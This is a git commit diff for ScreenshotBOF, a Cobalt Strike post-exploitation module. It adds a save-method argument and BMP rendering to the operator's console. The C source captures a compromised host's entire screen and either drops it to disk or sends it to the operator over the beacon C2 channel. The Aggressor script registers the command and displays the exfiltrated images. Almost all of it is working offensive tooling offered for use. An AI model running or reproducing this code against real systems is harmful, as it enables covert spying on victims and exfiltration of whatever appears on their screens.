bmp renderer and user args
This commit is contained in:
parent
c9011f6684
commit
41b9629f38
17
README.md
17
README.md
|
@ -9,15 +9,19 @@ An alternative screenshot capability for Cobalt Strike that uses WinAPI and does
|
|||
|
||||
## Usage
|
||||
1. import the screenshotBOF.cna script into Cobalt Strike
|
||||
2. use the command screenshot_bof {local filename}
|
||||
2. use the command screenshot_bof {local filename} {save method 0/1}
|
||||
|
||||
Save methods:
|
||||
0. drop file to disk
|
||||
1. download file over beacon (Cobalt Strike only)
|
||||
```
|
||||
beacon> screenshot_bof sad.bmp
|
||||
beacon> screenshot_bof sad.bmp 1
|
||||
[*] Running screenshot BOF by (@codex_tf2)
|
||||
[+] host called home, sent: 4860 bytes
|
||||
[+] host called home, sent: 5267 bytes
|
||||
[+] received output:
|
||||
[*] Tasked beacon to printscreen and save to sad.bmp
|
||||
[*] Screen saved to bitmap
|
||||
[+] received output:
|
||||
[+] PrintScreen saved to bitmap...
|
||||
[*] Downloading bitmap over beacon with filename sad.bmp
|
||||
[*] started download of sad.bmp
|
||||
```
|
||||
|
||||
|
@ -30,4 +34,5 @@ Cobalt Strike uses a technique known as fork & run for many of its post-ex capab
|
|||
## Credits
|
||||
- Made using https://github.com/securifybv/Visual-Studio-BOF-template
|
||||
- Save BMP to file from https://stackoverflow.com/a/60667564
|
||||
- in memory download from https://github.com/anthemtotheego/CredBandit
|
||||
- in memory download from https://github.com/anthemtotheego/CredBandit
|
||||
- @BinaryFaultline for BMP rendering in aggressorscript, and screenshot callback branch
|
|
@ -152,7 +152,7 @@ BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
|
|||
#pragma endregion
|
||||
|
||||
|
||||
BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName)
|
||||
BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName, int savemethod)
|
||||
{
|
||||
HDC hDC;
|
||||
int iBits;
|
||||
|
@ -226,9 +226,22 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName)
|
|||
memcpy(bmpdata, &bmfHdr, sizeof(BITMAPFILEHEADER));
|
||||
memcpy(((char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize);
|
||||
|
||||
if (savemethod == 0) {
|
||||
BeaconPrintf(0x0, "[*] Saving bitmap to disk with filename %s", lpszFileName);
|
||||
fh = CreateFile(lpszFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
|
||||
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL);
|
||||
|
||||
downloadFile((char*)lpszFileName, sizeof(lpszFileName), (char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize));
|
||||
//WriteFile(fh, (LPSTR)bmpdata, sizeof(BITMAPFILEHEADER)+ dwDIBSize, &dwWritten, NULL);
|
||||
if (fh == INVALID_HANDLE_VALUE)
|
||||
return FALSE;
|
||||
WriteFile(fh, (LPSTR)bmpdata, sizeof(BITMAPFILEHEADER)+ dwDIBSize, &dwWritten, NULL);
|
||||
CloseHandle(fh);
|
||||
}
|
||||
else{
|
||||
BeaconPrintf(0x0, "[*] Downloading bitmap over beacon with filename %s", lpszFileName);
|
||||
downloadFile((char*)lpszFileName, sizeof(lpszFileName), (char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize));
|
||||
}
|
||||
|
||||
|
||||
|
||||
/* clean up */
|
||||
GlobalUnlock(hDib);
|
||||
|
@ -242,8 +255,13 @@ void go(char* buff, int len) {
|
|||
datap parser;
|
||||
char * downloadfilename;
|
||||
BeaconDataParse(&parser, buff, len);
|
||||
//what should the file be named?
|
||||
downloadfilename = BeaconDataExtract(&parser, NULL);
|
||||
BeaconPrintf(0x0, "[*] Tasked beacon to printscreen and save to %s",downloadfilename);
|
||||
//how should it be saved?
|
||||
//0 - drop to disk
|
||||
//1 - download as file in cobaltstrike
|
||||
//2 - NOT IMPLEMENTED YET - planned to be screenshot callback, refer to branch.
|
||||
int savemethod = BeaconDataInt(&parser);
|
||||
int x1, y1, x2, y2, w, h;
|
||||
// get screen dimensions
|
||||
x1 = GetSystemMetrics(SM_XVIRTUALSCREEN);
|
||||
|
@ -269,10 +287,9 @@ void go(char* buff, int len) {
|
|||
SetClipboardData(CF_BITMAP, hBitmap);
|
||||
CloseClipboard();
|
||||
*/
|
||||
|
||||
BeaconPrintf(0x0, "[+] PrintScreen saved to bitmap...");
|
||||
BeaconPrintf(0x0, "[*] Screen saved to bitmap");
|
||||
LPCSTR filename = (LPCSTR)downloadfilename;
|
||||
SaveHBITMAPToFile(hBitmap, (LPCTSTR)filename);
|
||||
SaveHBITMAPToFile(hBitmap, (LPCTSTR)filename,savemethod);
|
||||
|
||||
//BeaconPrintf(0x0, "[+] Printscreen bitmap saved to %s",downloadfilename);
|
||||
// clean up
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -1,28 +1,198 @@
|
|||
import javax.imageio.ImageIO;
|
||||
import java.awt.*;
|
||||
import javax.swing.JLabel;
|
||||
import javax.swing.ImageIcon;
|
||||
import java.io.ByteArrayInputStream;
|
||||
|
||||
# This function takes in a screenshot and creates a JLabel to display the screenshot
|
||||
sub display_image {
|
||||
local('$screenshot $screenshot_bytes $bid $user $computer $client $MAX_IMAGE_WIDTH $MAX_IMAGE_HEIGHT $bias $image $width $height $icon $scaledIcon $component $tab_name');
|
||||
$screenshot = $1;
|
||||
$screenshot_bytes = $screenshot['data'];
|
||||
$bid = $screenshot['bid'];
|
||||
$user = $screenshot['user'];
|
||||
$computer = beacon_info($bid, 'computer');
|
||||
|
||||
$client = getAggressorClient();
|
||||
$MAX_IMAGE_WIDTH = [[[$client getTabManager] getTabbedPane] getWidth];
|
||||
$MAX_IMAGE_HEIGHT = [[[$client getTabManager] getTabbedPane] getHeight];
|
||||
|
||||
$bais = [new ByteArrayInputStream: $screenshot_bytes];
|
||||
$image = [ImageIO read: $bais];
|
||||
|
||||
$width = [$image getWidth];
|
||||
$height = [$image getHeight];
|
||||
|
||||
$icon = [new ImageIcon: $image];
|
||||
if ($width > $MAX_IMAGE_WIDTH) {
|
||||
$width = $MAX_IMAGE_WIDTH;
|
||||
}
|
||||
if ($height > $MAX_IMAGE_HEIGHT) {
|
||||
$height = $MAX_IMAGE_HEIGHT;
|
||||
}
|
||||
$scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]];
|
||||
|
||||
$component = [new JLabel: $scaledIcon];
|
||||
$tab_name = "ScreenshotBOF - $user\@$computer";
|
||||
addTab($tab_name, $component, "...");
|
||||
|
||||
}
|
||||
|
||||
# This function takes in a screenshot and creates a JLabel to display the screenshot
|
||||
sub display_downloaded {
|
||||
local('$screenshot $screenshot_bytes $bid $user $computer $client $MAX_IMAGE_WIDTH $MAX_IMAGE_HEIGHT $bias $image $width $height $icon $scaledIcon $component $tab_name');
|
||||
|
||||
$screenshot_bytes = $1;
|
||||
$file_name = $2;
|
||||
|
||||
$client = getAggressorClient();
|
||||
$MAX_IMAGE_WIDTH = [[[$client getTabManager] getTabbedPane] getWidth];
|
||||
$MAX_IMAGE_HEIGHT = [[[$client getTabManager] getTabbedPane] getHeight];
|
||||
|
||||
$bais = [new ByteArrayInputStream: $screenshot_bytes];
|
||||
$image = [ImageIO read: $bais];
|
||||
|
||||
$width = [$image getWidth];
|
||||
$height = [$image getHeight];
|
||||
|
||||
$icon = [new ImageIcon: $image];
|
||||
if ($width > $MAX_IMAGE_WIDTH) {
|
||||
$width = $MAX_IMAGE_WIDTH;
|
||||
}
|
||||
if ($height > $MAX_IMAGE_HEIGHT) {
|
||||
$height = $MAX_IMAGE_HEIGHT;
|
||||
}
|
||||
$scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]];
|
||||
|
||||
$component = [new JLabel: $scaledIcon];
|
||||
$tab_name = "ScreenshotBOF - $file_name";
|
||||
addTab($tab_name, $component, "...");
|
||||
|
||||
}
|
||||
|
||||
# Checks the screenshot when it comes in to see if it is a BMP, then if so, renders it in a new tab
|
||||
on screenshots {
|
||||
local('$screenshot $data');
|
||||
|
||||
$screenshot = $1;
|
||||
$data = $screenshot['data'];
|
||||
|
||||
# Check the magic header of the data to see if it's a BMP
|
||||
if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") {
|
||||
display_image($screenshot);
|
||||
}
|
||||
}
|
||||
|
||||
popup_clear("downloads");
|
||||
popup downloads {
|
||||
# do nothing if nothing is selected
|
||||
if (size($1) == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
item "Interact" {
|
||||
openOrActivate($1[0]["bid"]);
|
||||
}
|
||||
|
||||
menu "&Color" {
|
||||
local('$ids');
|
||||
$ids = map({ return $1["id"]; }, $1);
|
||||
insert_component(colorPanel("accents", $ids));
|
||||
}
|
||||
|
||||
item "Render &BMP" {
|
||||
local('$download $lpath $name $count');
|
||||
foreach $count => $download ($1) {
|
||||
($lpath, $name) = values($download, @("lpath", "name"));
|
||||
|
||||
sync_download($lpath, script_resource("file $+ .$count"), lambda({
|
||||
$handle = openf($1);
|
||||
$data = readb($handle, -1);
|
||||
closef($handle);
|
||||
#println(charAt($data, 0));
|
||||
#println(charAt($data, 1));
|
||||
if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") {
|
||||
display_downloaded($data, $1);
|
||||
} else {
|
||||
show_error("File is not a Bitmap image");
|
||||
}
|
||||
deleteFile($1);
|
||||
}, \$name));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
popup_clear("screenshots");
|
||||
popup screenshots {
|
||||
item "&Interact" {
|
||||
openOrActivate($1["bid"]);
|
||||
}
|
||||
|
||||
menu "&Color" {
|
||||
insert_component(colorPanel("accents", $1["id"]));
|
||||
}
|
||||
|
||||
item "&Save" {
|
||||
prompt_file_save($1["id"] . ".jpg", lambda({
|
||||
local('$handle');
|
||||
$handle = openf("> $+ $1");
|
||||
writeb($handle, $data);
|
||||
closef($handle);
|
||||
|
||||
show_message("Screenshot saved.");
|
||||
}, $data => $1["object"]["data"]));
|
||||
}
|
||||
|
||||
separator();
|
||||
|
||||
item "&Remove" {
|
||||
redactobject($1["id"]);
|
||||
}
|
||||
|
||||
item "Render &BMP" {
|
||||
$data = $1["object"]['data'];
|
||||
|
||||
# Check the magic header of the data to see if it's a BMP
|
||||
if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") {
|
||||
display_image($1["object"]);
|
||||
} else {
|
||||
show_error("Image is not a Bitmap. It should render in Screenshots tab.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#Register command
|
||||
beacon_command_register(
|
||||
"screenshot_bof",
|
||||
"Alternative screenshot capability that does not do fork n run",
|
||||
"Synopsis: screenshot_bof"
|
||||
"Use: screenshot_bof [filename] [save method]\nSave methods:\n\t0: drop file to disk\n\t1: download over beacon\n\nTake a screenshot inline using a BOF. Screenshot is saved as BMP on disk or downloaded over beacon."
|
||||
);
|
||||
|
||||
alias screenshot_bof {
|
||||
local('$barch $handle $data $args $target_pid');
|
||||
if (size(@_) != 2)
|
||||
local('$bid $barch $handle $data $args $target_pid');
|
||||
$bid = $1;
|
||||
# figure out the arch of this session
|
||||
$barch = barch($bid);
|
||||
if (size(@_) != 3)
|
||||
{
|
||||
berror($1, "Please specify a filename. e.g. screenshot_bof screen.bmp");
|
||||
berror($1, "Syntax: screenshot_bof [filename] [save method 0/1] e.g. screenshot_bof file.bmp 1");
|
||||
return;
|
||||
}
|
||||
# figure out the arch of this session
|
||||
$barch = barch($1);
|
||||
# read in the right BOF file
|
||||
$handle = openf(script_resource("ScreenshotBOF. $+ $barch $+ .obj"));
|
||||
$data = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
$args = bof_pack($1, "z",$2);
|
||||
|
||||
# FEATURE PUT ON HOLD DUE TO STABILITY
|
||||
# figure out if the profile chooses to chunk the post or not (getOnlyProfile)
|
||||
# $profile = data_query("metadata")["c2profile"];
|
||||
# $getOnlyProfile = [$profile shouldChunkPosts];
|
||||
# println($getOnlyProfile);
|
||||
|
||||
$args = bof_pack($bid, "zi", $2, $3);
|
||||
|
||||
# announce what we're doing
|
||||
btask($1, "Running screenshot BOF by (@codex_tf2)");
|
||||
btask($bid, "Running screenshot BOF by (@codex_tf2)", "T1113");
|
||||
# execute it.
|
||||
beacon_inline_execute($1, $data, "go", $args);
|
||||
beacon_inline_execute($bid, $data, "go", $args);
|
||||
}
|
||||
|
|
Binary file not shown.
Loading…
Reference in New Issue